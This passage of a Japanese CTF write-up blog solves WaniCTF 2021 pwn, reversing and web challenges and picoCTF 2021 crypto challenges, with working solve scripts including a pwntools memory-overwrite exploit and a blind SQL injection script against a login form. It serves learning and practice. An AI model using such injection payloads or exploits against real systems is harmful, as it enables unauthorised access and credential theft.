*(rbp - 0x14) = 540 / 4 = 135

よって、nameの最後の4byteを\x87\x00\x00\x00とすればrod[dst][pivot[dst]]がsolved_flagのアドレスになり、solved_flagを1に書き換えることができます。

from pwn import *

name = b'A' * 12
name += b'\x87\x00\x00\x00'

p = remote('hanoi.pwn.wanictf.org', 9007)

p.send(name)
p.sendline('A@')
print(p.recvall().decode())
$ python solve.py
[+] Opening connection to hanoi.pwn.wanictf.org on port 9007: Done
[+] Receiving all data: Done (295B)
[*] Closed connection to hanoi.pwn.wanictf.org port 9007

If you move all disks from A to C 'in time'
I'll give you the flag
input ex) if from rod_a to rod_c > AC
Name : \x00op and bottom of the each rod
  A     B     C
  1     0     0
 ...............
 32     0     0
Move > Moving...
Moved 1 from A to @
How fast you are!!
FLAG{5up3r_f457_h4n01_501v3r}

Reversing

secret

strings secretを実行するとwani_is_the_coolest_animals_in_the_world!というそれっぽい文字列が見つかります。

実際に入力してみるとフラグを手に入れることができました。

$ ./secret

   ▄▀▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▄▄▄▄   ▄▀▀▄▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▀▀█▀▀▄
  █ █   ▐ ▐  ▄▀   ▐ █ █    ▌ █   █   █ ▐  ▄▀   ▐ █    █  ▐
     ▀▄     █▄▄▄▄▄  ▐ █      ▐  █▀▀█▀    █▄▄▄▄▄  ▐   █
  ▀▄   █    █    ▌    █       ▄▀    █    █    ▌     █
   █▀▀▀    ▄▀▄▄▄▄    ▄▀▄▄▄▄▀ █     █    ▄▀▄▄▄▄    ▄▀
   ▐       █    ▐   █     ▐  ▐     ▐    █    ▐   █
           ▐        ▐                   ▐        ▐

Input secret key : wani_is_the_coolest_animals_in_the_world!
Correct! Flag is FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}

execute

main.SとMakefileなどが与えられます。

 .file   "main.c"
    .text
    .globl  main
    .type   main, @function
main:
.LFB0:
    .cfi_startproc
    endbr64
    pushq   %rbp
    .cfi_def_cfa_offset 16
    .cfi_offset 6, -16
    movq    %rsp, %rbp
    .cfi_def_cfa_register 6
    subq    $48, %rsp
    movq    %fs:40, %rax
    movq    %rax, -8(%rbp)
    xorl    %eax, %eax
    movabsq $7941081424088616006, %rax
    movabsq $7311705455698409823, %rdx
    movq    %rax, -48(%rbp)
    movq    %rdx, -40(%rbp)
    movabsq $3560223458505028963, %rax
    movabsq $35295634984951667, %rdx
    movq    %rax, -32(%rbp)
    movq    %rdx, -24(%rbp)
    leaq    -48(%rbp), %rax
    movq    %rax, %rdi
    call    print@PLT
    movl    $0, %eax
    movq    -8(%rbp), %rcx
    xorq    %fs:40, %rcx
    je  .L3
    call    __stack_chk_fail@PLT
.L3:
    leave
    .cfi_def_cfa 7, 8
    ret
    .cfi_endproc
.LFE0:
    .size   main, .-main
    .ident  "GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0"
    .section    .note.GNU-stack,"",@progbits
    .section    .note.gnu.property,"a"
    .align 8
    .long    1f - 0f
    .long    4f - 1f
    .long    5
0:
    .string  "GNU"
1:
    .align 8
    .long    0xc0000002
    .long    3f - 2f
2:
    .long    0x3
3:
    .align 8
4:

main.Sを見ると文字列を数値に変換したものを変数に代入してprintfしていることがわかるので、数値を文字列に戻すとフラグを手に入れることができました。

import struct

def p64(x):
    return struct.pack('<Q', x)

a = 7941081424088616006
b = 7311705455698409823
c = 3560223458505028963
d = 35295634984951667

print(p64(a) + p64(b) + p64(c) + p64(d))
$ python solve.py
b'FLAG{c4n_y0u_execu4e_th1s_fi1e}\x00'

timer

Timerという実行ファイルが与えられます。

Ghidraでデコンパイルして関数一覧を見るとsuper_complex_flag_print_functionといういかにもな関数があるのでその関数を解析します。

undefined8 super_complex_flag_print_function(void)

{
  bool bVar1;
  int local_160;
  int local_15c;
  byte local_158 [64];
  undefined4 local_118 [62];
  
  memcpy(local_118,&DAT_00102010,0xec);
  local_15c = 0;
  local_160 = 0x52d5e8cd;
  while( true ) {
    while( true ) {
      while( true ) {
        while (local_160 == -0x257d3ed5) {
          local_15c = local_15c + 1;
          local_160 = 0x52d5e8cd;
        }
        if (local_160 != 0x18e1f8e) break;
        printf("The time has come. Flag is \"%s\"\n");
        bVar1 = (x * (x + -1) & 1U) == 0;
        local_160 = 0x49c7aee9;
        if (bVar1 && y < 10 || bVar1 != y < 10) {
          local_160 = 0x1a18fd28;
        }
      }
      if (local_160 != 0x18b37a7b) break;
      local_158[local_15c] =
           ((byte)local_118[local_15c] ^ 0xff) & 0x22 | (byte)local_118[local_15c] & 0xdd;
      local_160 = -0x257d3ed5;
    }
    if (local_160 == 0x1a18fd28) break;
    if (local_160 == 0x49c7aee9) {
      printf("The time has come. Flag is \"%s\"\n");
      local_160 = 0x18e1f8e;
    }
    else {
      if (local_160 == 0x52d5e8cd) {
        local_160 = 0x7d118963;
        if (local_15c < 0x3b) {
          local_160 = 0x18b37a7b;
        }
      }
      else {
        if ((local_160 == 0x7d118963) &&
           (bVar1 = (x * (x + -1) & 1U) == 0, local_160 = 0x49c7aee9,
           bVar1 && y < 10 || bVar1 != y < 10)) {
          local_160 = 0x18e1f8e;
        }
      }
    }
  }
  return 0;
}

アセンブル結果を見ると、フラグを表示するprintfの第二引数はlocal_158だとわかります。

local_158[local_15c] = ((byte)local_118[local_15c] ^ 0xff) & 0x22 | (byte)local_118[local_15c] & 0xdd;

この部分でフラグをもとに戻していると推測できます。そのため、この部分と同じ処理を行うプログラム作成すればフラグが得られそうです。

以下はフラグを復元する部分をPythonで書き直したものです。GhidraのPythonインタプリタ上で以下のスクリプトを実行するとフラグを手に入れることができました。

data = getBytes(toAddr(0x102010), (0x1020fb - 0x102010))
flag = ""
for i in range(len(data)):
    x = (data[i] ^ 0xff) & 0x22
    y = (data[i] & 0xdd)
    flag += chr(x | y)
print(flag.replace('"', ''))
>>> data = getBytes(toAddr(0x102010), (0x1020fb - 0x102010))
>>> flag = ""
>>> for i in range(len(data)):
...     x = (data[i] ^ 0xff) & 0x22
...     y = (data[i] & 0xdd)
...     flag += chr(x | y)
... 
>>> print(flag.replace('"', ''))
FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}

licence

第一引数に与えたファイル名のファイルが開かれチェックされます。check関数で入力をチェックしているのですがとても複雑で手動で解析するのはほぼ無理です。そこでangrを使います。0x5df7にたどり着く入力を探すスクリプトを書いて実行するとフラグを手に入れることができました。

import angr
import claripy
import logging

prefix = '-----BEGIN LICENCE KEY-----\n'
suffix = '-----END LICENCE KEY-----\n'

base_addr = 0x400000

proj = angr.Project('./licence', auto_load_libs=False)

b_list = [claripy.BVS('bytes_%d' % i, 8) for i in range(len(prefix) + 0x41 + len(suffix))]
b_ast = claripy.Concat(*b_list)

fname = "./key.dat"
simfile = angr.SimFile(fname, content=b_ast)
state = proj.factory.entry_state(
    args=["./licence", fname],
    fs={fname:simfile},
    add_options={angr.options.LAZY_SOLVES}
)

logging.getLogger('angr.sim_manager').setLevel('INFO')
simgr = proj.factory.simgr(state)

simgr.explore(find=[base_addr+0x5df7])
print(simgr.found[0].fs.get(fname).concretize())
$ python solve.py
WARNING | 2021-05-02 21:02:11,639 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base addre
ss of 0x400000.
INFO    | 2021-05-02 21:02:11,674 | angr.sim_manager | Stepping active of <SimulationManager with 1 active>
INFO    | 2021-05-02 21:02:11,694 | angr.sim_manager | Stepping active of <SimulationManager with 1 active>
...
INFO    | 2021-05-02 21:02:42,387 | angr.sim_manager | Stepping active of <SimulationManager with 18 active, 416 deadended>
INFO    | 2021-05-02 21:02:42,483 | angr.sim_manager | Stepping active of <SimulationManager with 19 active, 416 deadended>
b'-----BEGIN LICENCE KEY-----\nFLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

Web

fake

問題文のリンクを踏むとボタンがたくさんあるページが表示されます。

Chromeデベロッパーツールを開いてElementsを眺めると<button>の中に一つだけ<a>があります。hrefにフラグが表示されるページのリンクが書かれています。

FLAG{wow_y0u_h4ve_3po4ted_th3_7ake}

Wani request 1

URLを入力するとそのページにアクセスしてくれます。requestbinで通信を受け取り、requestヘッダーのreferを見るとhttp://w4ni-secre7-h1mitu-pa6e.s3-website-ap-northeast-1.amazonaws.com/からアクセスされており、そこにアクセスするとフラグが得られっます。

FLAG{h77p_r3f3r3r_15_54f3_42a2cc2f275}

exception

hello.pyが与えられます。

import json
import os
import traceback

# HelloFunction(/hello)のコード
def lambda_handler(event, context):
    try:
        try:
            data = json.loads(event["body"])
        except Exception:
            data = {}
        if "name" in data:
            return {
                "statusCode": 200,
                "body": json.dumps({"name": "こんにちは、" + data["name"] + "さん"}),
            }
        return {
            "statusCode": 400,
            "body": json.dumps(
                {
                    "error_message": "Bad Request",
                }
            ),
        }
    except Exception as e:
        error_message = traceback.format_exception_only(type(e), e)
        del event["requestContext"]["accountId"]
        del event["requestContext"]["resourceId"]
        return {
            "statusCode": 500,
            "body": json.dumps(
                {
                    "error_message": error_message,
                    "event": event,
                    "flag": os.environ.get("FLAG"),
                }
            ),
        }

exceptionを起こせばフラグが手に入るようになっています。

return {
    "statusCode": 200,
    "body": json.dumps({"name": "こんにちは、" + data["name"] + "さん"}),
}

この部分に着目します。data["name"]の型を確認せず文字列と結合しています。よって、data["name"]に整数値のような文字列と結合できないものを与えてやるとexceptionを起こせます。

$ python -q
>>> import requests
>>> data = {"name": 1}
>>> requests.post("https://exception.web.wanictf.org/hello", json=data).text
'{"error_message": ["TypeError: can only concatenate str (not \\"int\\") to str\\n"], "event": {"resource": "/hello", "path": "/hello", "httpMethod": "POST", "headers": {"Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "Host": "boakqtdih8.execute-api.us-east-1.amazonaws.com", "User-Agent": "Amazon CloudFront", "Via": "1.1 886a171d4fd47a45f08d1726d75c8f18.cloudfront.net (CloudFront)", "X-Amz-Cf-Id": "QhWwC5Ycbeg8QbduIv5GLP5jqqzLtb_LSW6aBlQManLQge0zHEO5Jg==", "X-Amzn-Trace-Id": "Root=1-608e7b06-4a736e383ab2d7731b6be0f1", "X-Forwarded-For": "202.165.53.205, 70.132.51.94", "X-Forwarded-Port": "443", "X-Forwarded-Proto": "https"}, "multiValueHeaders": {"Accept-Encoding": ["gzip, deflate"], "Content-Type": ["application/json"], "Host": ["boakqtdih8.execute-api.us-east-1.amazonaws.com"], "User-Agent": ["Amazon CloudFront"], "Via": ["1.1 886a171d4fd47a45f08d1726d75c8f18.cloudfront.net (CloudFront)"], "X-Amz-Cf-Id": ["QhWwC5Ycbeg8QbduIv5GLP5jqqzLtb_LSW6aBlQManLQge0zHEO5Jg=="], "X-Amzn-Trace-Id": ["Root=1-608e7b06-4a736e383ab2d7731b6be0f1"], "X-Forwarded-For": ["202.165.53.205, 70.132.51.94"], "X-Forwarded-Port": ["443"], "X-Forwarded-Proto": ["https"]}, "queryStringParameters": null, "multiValueQueryStringParameters": null, "pathParameters": null, "stageVariables": null, "requestContext": {"resourcePath": "/hello", "httpMethod": "POST", "extendedRequestId": "esgpBGZgoAMFqmw=", "requestTime": "02/May/2021:10:12:22 +0000", "path": "/Prod/hello", "protocol": "HTTP/1.1", "stage": "Prod", "domainPrefix": "boakqtdih8", "requestTimeEpoch": 1619950342462, "requestId": "414fc154-3b0b-4e42-8748-03dacc5acd75", "identity": {"cognitoIdentityPoolId": null, "accountId": null, "cognitoIdentityId": null, "caller": null, "sourceIp": "202.165.53.205", "principalOrgId": null, "accessKey": null, "cognitoAuthenticationType": null, "cognitoAuthenticationProvider": null, "userArn": null, "userAgent": "Amazon CloudFront", "user": null}, "domainName": "boakqtdih8.execute-api.us-east-1.amazonaws.com", "apiId": "boakqtdih8"}, "body": "{\\"name\\": 1}", "isBase64Encoded": false}, "flag": "FLAG{b4d_excep7ion_handl1ng}"}'

watch animal

メールアドレスがwanictf21spring@gmail.comの人のパスワードがフラグとなっています。ログインフォームでSQLインジェクションが可能なためログインの可否でパスワードを特定できます。

import string
import requests
import hashlib
import time

URL = "https://watch.web.wanictf.org/"
EMAIL = "wanictf21spring@gmail.com"

TEMPLATE = "' OR substr(password, {pos}, 1) >= \"{c}\"; --"

cand = string.ascii_letters + string.digits + string.punctuation
cand = [chr(x) for x in sorted(ord(c) for c in cand)]

def is_login(text):
    return hashlib.sha1(text.encode()).hexdigest() == "8a702a2d92383c08baf14be6a70eb1da42d59b2c"

flag = ""

for i in range(0, 60):
    start, end = 0, len(cand) - 1
    while True:
        mid = start + (end - start) // 2
        c = cand[mid]
        if end - start == 1:
            break
        data = {
            "email": EMAIL,
            "password": TEMPLATE.format(pos=i+1, c=c)
        }
        if is_login(requests.post(URL, data).text):
            start = mid
        else:
            end = mid
        time.sleep(1.5)
    print(f"found: pos={i} char={c}")
    flag += c
    if c == "}":
        break
print(flag)
$ python hoge.py
found: pos=0 char=F
found: pos=1 char=L
found: pos=2 char=A
found: pos=3 char=G
found: pos=4 char={
found: pos=5 char=b
found: pos=6 char=l
found: pos=7 char=1
found: pos=8 char=n
found: pos=9 char=d
found: pos=10 char=S
found: pos=11 char=Q
found: pos=12 char=L
found: pos=13 char=i
found: pos=14 char=}
FLAG{bl1ndSQLi}

picoCTF 2021 Writeup

picoCTF 2021のWriteupです。

Satoooonさんとd4wnin9さんと共にPui-Pui-CTFerというチームで参加し、日本1位、世界11位という結果を残すことができました。

reversing問を多く解けたので非常に嬉しい。

Cryptography

Mod 26

問題文を見ると

Cryptography can be easy, do you know what ROT13 is?
cvpbPGS{arkg_gvzr_V'yy_gel_2_ebhaqf_bs_ebg13_MAZyqFQj}

と書かれているので、cvpb...という文字列をROT13で復号するとフラグが手に入ります。

picoCTF{next_time_I'll_try_2_rounds_of_rot13_ZNMldSDw}

Mind your Ps and Qs

RSAの公開鍵であるn, eと暗号化されたフラグcが手に入ります。

nが270bitとギリギリ素因数分解できそうな大きさなのでsageやら何やらで素因数分解してみるとn = 1899107986527483535344517113948531328331 * 674357869540600933870145899564746495319033であることがわかります。

後はp, qからdを計算して復号してやるだけです。

# solve.py
from Crypto.Util.number import *

p = 1899107986527483535344517113948531328331
q = 674357869540600933870145899564746495319033
e = 65537
c = 62324783949134119159408816513334912534343517300880137691662780895409992760262021
n = p * q

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(c, d, n)))
$ python solve.py
b'picoCTF{sma11_N_n0_g0od_05012767}'

Easy Peasy

keyの周期がわかっているので周期 - フラグの長さだけ適当な文字列を送り1周させます。そして、暗号化されたフラグの長さ分だけ適当な平文を暗号化してもらい、得られた暗号文と平文でxorをとるとフラグの暗号化に使われたkeyを得られます。後は暗号化されたフラグとkeyでxorをとるとフラグが得られます。

ソースコード中に出てくるsocklibはこれです

# python solve.py
from socklib import parse_nc_cmd
import binascii

KEY_LEN = 50000

with parse_nc_cmd("nc mercury.picoctf.net 64260") as s:
    s.recvline()
    s.recvline()
    enc_flag = binascii.unhexlify(s.recvline().rstrip())
    s.recvline()

    # send data
    s.sendline(b"A" * (KEY_LEN - len(enc_flag)))
    s.recvline()
    s.recvline()

    s.recvline()
    s.sendline(b"A" * (len(enc_flag)))
    s.recvline()
    key_xor_A = binascii.unhexlify(s.recvline().rstrip())
    key = [k ^ 0x41 for k in key_xor_A]
    #print(key)

    flag = ""
    for k, e in zip(key, enc_flag):
        flag += chr(k ^ e)
    print("picoCTF{" + flag + "}")
$ python solve.py
picoCTF{3a16944dad432717ccc3945d3d96421a}

New Caesar

keyが16種類しかないので総当りで求められます。

# solve.py
import string

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]

def b16_decode(encoded):
    assert len(encoded) % 2 == 0
    dec = ""
    for i in range(len(encoded) // 2):
        e = encoded[i*2:i*2+2]
        high = ALPHABET.find(e[0])
        low = ALPHABET.find(e[1])
        dec += chr(int("0b{:04b}{:04b}".format(high, low), 2))
    return dec

def inv_shift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 - t2) % len(ALPHABET)]

flag = "mlnklfnknljflfmhjimkmhjhmljhjomhmmjkjpmmjmjkjpjojgjmjpjojojnjojmmkmlmijimhjmmj"

for alpha in ALPHABET:
    tmp_dec = ""
    for f in flag:
        tmp_dec += inv_shift(f, alpha)
    tmp_dec = b16_decode(tmp_dec)
    if all(c in string.printable for c in tmp_dec):
        print(tmp_dec)
$ python solve.py
et_tu?_a2da1e18af49f649806988786deb2a6c
TcNcd.NP!SP T 'PU#(U%#('/%(''&'%STQ!P%R 

一番上のet_tu?_a2da1e18af49f649806988786deb2a6cpicoCTF{}で包んだものがフラグです。

Mini RSA

eが非常に小さい数なのでLow Public-Exponent Attackで平文を求められます。

# solve.py
from Crypto.Util.number import *
import gmpy2

N = 1615765684321463054078226051959887884233678317734892901740763321135213636796075462401950274602405095138589898087428337758445013281488966866073355710771864671726991918706558071231266976427184673800225254531695928541272546385146495736420261815693810544589811104967829354461491178200126099661909654163542661541699404839644035177445092988952614918424317082380174383819025585076206641993479326576180793544321194357018916215113009742654408597083724508169216182008449693917227497813165444372201517541788989925461711067825681947947471001390843774746442699739386923285801022685451221261010798837646928092277556198145662924691803032880040492762442561497760689933601781401617086600593482127465655390841361154025890679757514060456103104199255917164678161972735858939464790960448345988941481499050248673128656508055285037090026439683847266536283160142071643015434813473463469733112182328678706702116054036618277506997666534567846763938692335069955755244438415377933440029498378955355877502743215305768814857864433151287
e = 3

c = 1220012318588871886132524757898884422174534558055593713309088304910273991073554732659977133980685370899257850121970812405700793710546674062154237544840177616746805668666317481140872605653768484867292138139949076102907399831998827567645230986345455915692863094364797526497302082734955903755050638155202890599808146956044568639690002921620304969196755223769438221859424275683828638207433071955615349052424040706261639770492033970498727183446507482899334169592311953247661557664109356372049286283480939368007035616954029177541731719684026988849403756133033533171081378815289443019437298879607294287249591634702823432448559878065453908423094452047188125358790554039587941488937855941604809869090304206028751113018999782990033393577325766685647733181521675994939066814158759362046052998582186178682593597175186539419118605277037256659707217066953121398700583644564201414551200278389319378027058801216150663695102005048597466358061508725332471930736629781191567057009302022382219283560795941554288119544255055962

i = 1
while True:
    m, ok = gmpy2.iroot(c + i * N, e)
    if ok:
        break
    i += 1

print(long_to_bytes(m))
$ python solve.py
b'                                                                                                        picoCTF{e_sh0u1d_b3_lArg3r_6e2e6bda}'

参考: https://ctf-wiki.org/crypto/asymmetric/rsa/rsa_e_attack/

Dachshund Attacks

mercury.picoctf.net 36463に接続すると暗号化したフラグとn, eが与えられます。

$ nc mercury.picoctf.net 36463
Welcome to my RSA challenge!
e: 7437420319448252274990541905923360055448609936867522618724611031223092671289039902546797844168860963868882257843332585967790520599808066802637301334840708876231856123324244218137532317601858090202352976878504968465769234001487878747032821161698728842125897716816838814390845892134918038855626672399748672047
n: 57216839047090881023719767779616966353988353330412043948131115061193125179046670353474954648789743249624506726832408057445071292883567571239736015100275265395422388093349421957767770637080686756989689960010154535943734205135492121513552586865504097742068696945354563991824122412899702617936677983838271949583
c: 25667912083980108164545926647993202095350419862347035030837541309901172111074697365111859105127401566968136742431037559459774784989789906107833008822066085373967487773380142749978215858622590377223132666376203476251625692353037376919304439309062393768737299183184656208457032420005091164376843059239987240015

eが非常に大きな値となっているため秘密鍵であるdは相対的に小さな値だと推測できます。そのためWiener's Attackでdを求める事ができ、フラグを復号することができます。

# solve.py
from Crypto.Util.number import *
import owiener

e = 7437420319448252274990541905923360055448609936867522618724611031223092671289039902546797844168860963868882257843332585967790520599808066802637301334840708876231856123324244218137532317601858090202352976878504968465769234001487878747032821161698728842125897716816838814390845892134918038855626672399748672047
n = 57216839047090881023719767779616966353988353330412043948131115061193125179046670353474954648789743249624506726832408057445071292883567571239736015100275265395422388093349421957767770637080686756989689960010154535943734205135492121513552586865504097742068696945354563991824122412899702617936677983838271949583
c = 25667912083980108164545926647993202095350419862347035030837541309901172111074697365111859105127401566968136742431037559459774784989789906107833008822066085373967487773380142749978215858622590377223132666376203476251625692353037376919304439309062393768737299183184656208457032420005091164376843059239987240015

d = owiener.attack(e, n)

if d:
    print(long_to_bytes(pow(c, d, n)))
$ python solve.py
b'picoCTF{proving_wiener_2635457}'

No Padding, No Problem

フラグを暗号化した値以外の任意の値を復号してくれるので、2c2^{-1}を復号してもらって掛け合わせると以下のように平文が求まります。

\begin{eqnarray} 2^{-d} \cdot (2c)^{d} &=& c^{d} \ mod \ n \\ &=& m \end{eqnarray}

# solve.py
from socklib import parse_nc_cmd
from Crypto.Util.number import long_to_bytes

def decrypt(c):
    s.recvuntil(b"Give me ciphertext to decrypt: ")
    s.sendline(str(c))
    return int(s.recvline().rstrip()[len("Here you go: "):])

with parse_nc_cmd("nc mercury.picoctf.net 42248") as s:
    s.recvuntil(b"n: ")
    n = int(s.recvline().rstrip())

    s.recvuntil(b"e: ")
    e = int(s.recvline().rstrip())

    s.recvuntil(b"ciphertext: ")
    c = int(s.recvline().rstrip())

    c1 = (2 * c) % n
    c2 = pow(2, -1, n)

    m1 = decrypt(c1)
    m2 = decrypt(c2)

    print(long_to_bytes((m1 * m2) % n))
$ python solve.py
b'picoCTF{m4yb3_Th0se_m3s54g3s_4r3_difurrent_7416022}'

It's Not My Fault 1

dを求めるためにCRTを使っています。mercury.picoctf.net 27379に接続するとPoWがあり、それを超えるとeNが渡されます。それらの値からp+qを求めて送るとフラグを手に入れることができます。制限時間があり15分以内に求めなければなりません。

「It's Not My Fault 1」という問題名だったので、「RSA fault attack」みたいな感じのことをgoogleで調べているとこの論文が見つかりました。この論文の1.1と1.2に書かれている式が問題となんか似ていると思ってローカルでいろいろ試していると以下のような感じでd_pからpを求めることができました。mは適当な値です。

\begin{align} S_p = m^{d_p} \ mod \ N \\ p = gcd({S_p}^{e} - m, N) \\ \end{align}

d_p2^{20}通りしかないので15分以内に総当りできます。

import gmpy2
import string
import random
import itertools
import hashlib
import time
from socklib import parse_nc_cmd

def find_p(e, n):
    BITS = 20
    # 適当な値
    m = random.randint(2, n // 2)
    t = time.time()
    # pを求める
    for i in range(1, 1 << BITS):
        if i % (1048576 // 20) == 0:
            print(f"[+] progress: {i/1048576*100}%")
        p = gmpy2.gcd((gmpy2.powmod(m, i*e, n) - m) % n, n)
        if p != 1:
            print("[+] done!")
            print(f"[+] elapsed time: {time.time() - t}s")
            return p
    print("[-] oops... I couldn't find p")
    return -1

with parse_nc_cmd("nc mercury.picoctf.net 27379") as sock:
        # PoW
    s = sock.recvline().decode().split()
    start = s[6][1:-1]
    end = s[-1]
    print("start:", start, "end:", end)

    chars = string.ascii_letters + string.digits + "!{}_()/."

    for i in range(20):
        for c in itertools.product(chars, repeat=i):
            ans = (start + ''.join(c)).encode()
            m = hashlib.md5(ans).hexdigest()[-6:]
            if m == end:
                break
        else:
            continue
        break
    print(ans.decode())
    sock.sendline(ans.decode())
    
    print(sock.recvuntil("Public Modulus : "))
    n = int(sock.recvline().strip())
    print(n)

    print(sock.recvuntil("Clue : "))
    e = int(sock.recvline().strip())
    print(e)

    p = find_p(e, n)
    print(p)
    if p != -1:
        q = n // p
        print("found! :)")
        print("p+q:", p+q)
        sock.sendline(str(p+q))
        print(sock.recvline())
        print(sock.recvline())
        print(sock.recvline())
    else:
        print("sorry :(")

何回か実行するとフラグが手に入りました。

$ python solve.py
start: 27812 end: 7ea654
27812zff2
b'Public Modulus : '
146141959571796619184580323263238082762735627180417137502900618064846402838600006091928743503099897691438979201849389667364406567564209333438245311171648497478841603869828410444086250621022013791651250529162358213252068152727059835621053300450977337607437057823171675892171842371135234774910916121594623312287
b'Clue : '
145911849523323551691273476488567052913626758222467702971817757208889516253090534930268256571616129614843207042193678117224250056416984150215525869255610048215501801235881946635457555322802597714448624942355212564203995669091304209559054111097825953157794899726260007315238905241723231125239175118169015627871
[+] done!
[+] elapsed time: 33.74832630157471s
13274242098760249682587335617607866413324033479405205962338854549928397772347362733029828768171581093445574322876694518561825653896319238088364956963635969
found! :)
p+q: 24283681167635268525640794472417793191848599926475979459708104810987817153859629820379240666419644946548268941164379960296059012617926257242171592663000992
b"picoCTF{1_c4n'7_b3l13v3_17'5_n07_f4ul7_4774ck!!!}\n"

Play Nice

playfair.pyというソースファイルが与えられます。また、mercury.picoctf.net 30568に接続するとPlayfair暗号で暗号化されたフラグが渡されます。

playfair.pyに暗号化処理が実装されているので、それを参考にしてwikipediaを見ながら適当に復号処理を実装するとフラグが手に入りました。

from socklib import parse_nc_cmd

SQUARE_SIZE = 6

def generate_square(alphabet):
    assert len(alphabet) == pow(SQUARE_SIZE, 2)
    matrix = []
    for i, letter in enumerate(alphabet):
        if i % SQUARE_SIZE == 0:
            row = []
        row.append(letter)
        if i % SQUARE_SIZE == (SQUARE_SIZE - 1):
            matrix.append(row)
    return matrix

def get_index(letter, matrix):
    for row in range(SQUARE_SIZE):
        for col in range(SQUARE_SIZE):
            if matrix[row][col] == letter:
                return (row, col)
    print("letter not found in matrix.")
    exit()

def decrypt_pair(pair, matrix):
    p1 = get_index(pair[0], matrix)
    p2 = get_index(pair[1], matrix)

    if p1[0] == p2[0]:
        return matrix[p1[0]][(p1[1] - 1)  % SQUARE_SIZE] + matrix[p2[0]][(p2[1] - 1)  % SQUARE_SIZE]
    elif p1[1] == p2[1]:
        return matrix[(p1[0] - 1)  % SQUARE_SIZE][p1[1]] + matrix[(p2[0] - 1)  % SQUARE_SIZE][p2[1]]
    else:
        return matrix[p1[0]][p2[1]] + matrix[p2[0]][p1[1]]

def decrypt_string(s, matrix):
    assert len(s) % 2 == 0
    result = ""
    for i in range(0, len(s), 2):
        result += decrypt_pair(s[i:i+2], matrix)
    return result

with parse_nc_cmd("nc mercury.picoctf.net 30568") as s:
    s.recvuntil(": ")
    alphabet = s.recvline().rstrip().decode()
    s.recvuntil(": ")
    msg = s.recvline().rstrip().decode()

    matrix = generate_square(alphabet)
    dec_msg = decrypt_string(msg, matrix)
    s.recvuntil("What is the plaintext message? ")
    s.sendline(dec_msg)

    s.recvuntil("Congratulations! Here's the flag: ")
    flag = s.recvline().rstrip().decode()

    print("flag:", flag)
$ python solve.py
flag: 007d0a696aaad7fb5ec21c7698e4f754

Double DES

mercury.picoctf.net 33425に接続すると暗号化されたフラグが手に入ります。その後何か適当に平文を与えると、DES方式で2度暗号化した暗号文が手に入ります。

鍵の候補は10^{6}ですが、DESに使われる鍵は2つあるため総当りでは求められません。

Double DESってTriple DESに響きが似ているなと思い、Triple DESについて調べているとmeet-in-the-middle attackという攻撃手法が見つかりました。これを使って鍵を求めます。

平文をm、鍵をkey_1, key_2とすると以下の式が成り立ちます。

\begin{eqnarray} c &=& Enc(Enc(m, key_1), key_2) \\ Dec(c, key_2) &=& Dec(Enc(Enc(m, key_1), key_2), key_2) \\ Dec(c, key_2) &=& Enc(m, key_1) \\ \end{eqnarray}

上の式を見るとDec(c, key_2) = Enc(m, key_1)が成り立つkey_1, key_2のペアを総当たりで見つければフラグを復号できます。

#!/usr/bin/python3 -u
from Crypto.Cipher import DES
from Crypto.Util.number import *
from itertools import product
from socklib import parse_nc_cmd
import binascii
import itertools
import random
import string


KEY_LENGTH = 6


def pad(msg):
    block_len = 8
    over = len(msg) % block_len
    pad = block_len - over
    return (msg + " " * pad).encode()

def generate_key():
    return pad("".join(random.choice(string.digits) for _ in range(KEY_LENGTH)))


def get_input():
    try:
        res = binascii.unhexlify(input("What data would you like to encrypt? ").rstrip()).decode()
    except:
        res = None
    return res

def double_encrypt(sock, m):
    sock.recvuntil("What data would you like to encrypt? ")
    sock.sendline(m)
    enc = sock.recvline().rstrip()
    return binascii.unhexlify(enc)

with parse_nc_cmd("nc mercury.picoctf.net 33425") as s:
    s.recvline()
    flag = binascii.unhexlify(s.recvline().rstrip())

    enc_A = double_encrypt(s, "41" * 8)
    enc_A = enc_A[:8]
    print("[+] enc_A: {}".format(enc_A))

    # https://en.wikipedia.org/wiki/Meet-in-the-middle_attack
    subcipher = {}

    for i, key in enumerate(product(string.digits, repeat=KEY_LENGTH)):
        if (i + 1) % 50000 == 0:
            print(f"[+] subkey 1: {((i+1)/10**6)*100}%")
        tmp_key = pad("".join(key))
        cipher = DES.new(tmp_key, DES.MODE_ECB)
        enc = cipher.encrypt(b"AAAAAAAA")
        subcipher[enc] = tmp_key

    print("[+] subkey 1 complete!")
    key_pair = set()

    for i, key in enumerate(product(string.digits, repeat=KEY_LENGTH)):
        if (i + 1) % 50000 == 0:
            print(f"[+] subkey 2: {((i+1)/10**6)*100}%")
        tmp_key = pad("".join(key))
        cipher = DES.new(tmp_key, DES.MODE_ECB)
        dec = cipher.decrypt(enc_A)
        sub = subcipher.get(dec)
        if sub:
            key_pair.add((sub, tmp_key))

    print("[+] subkey 2 complete!")

    for k1, k2 in key_pair:
        cipher1 = DES.new(k1, DES.MODE_ECB)
        cipher2 = DES.new(k2, DES.MODE_ECB)
        dec_2 = cipher2.decrypt(flag)
        dec_1 = cipher1.decrypt(dec_2)
        print(dec_1.rstrip())
$ python solve.py
[+] enc_A: b'\xef\xaf\x97\x1f\xaa(L\xdb'
[+] subkey 1: 5.0%
[+] subkey 1: 10.0%
[+] subkey 1: 15.0%
[+] subkey 1: 20.0%
[+] subkey 1: 25.0%
[+] subkey 1: 30.0%
[+] subkey 1: 35.0%
[+] subkey 1: 40.0%
[+] subkey 1: 45.0%
[+] subkey 1: 50.0%
[+] subkey 1: 55.00000000000001%
[+] subkey 1: 60.0%
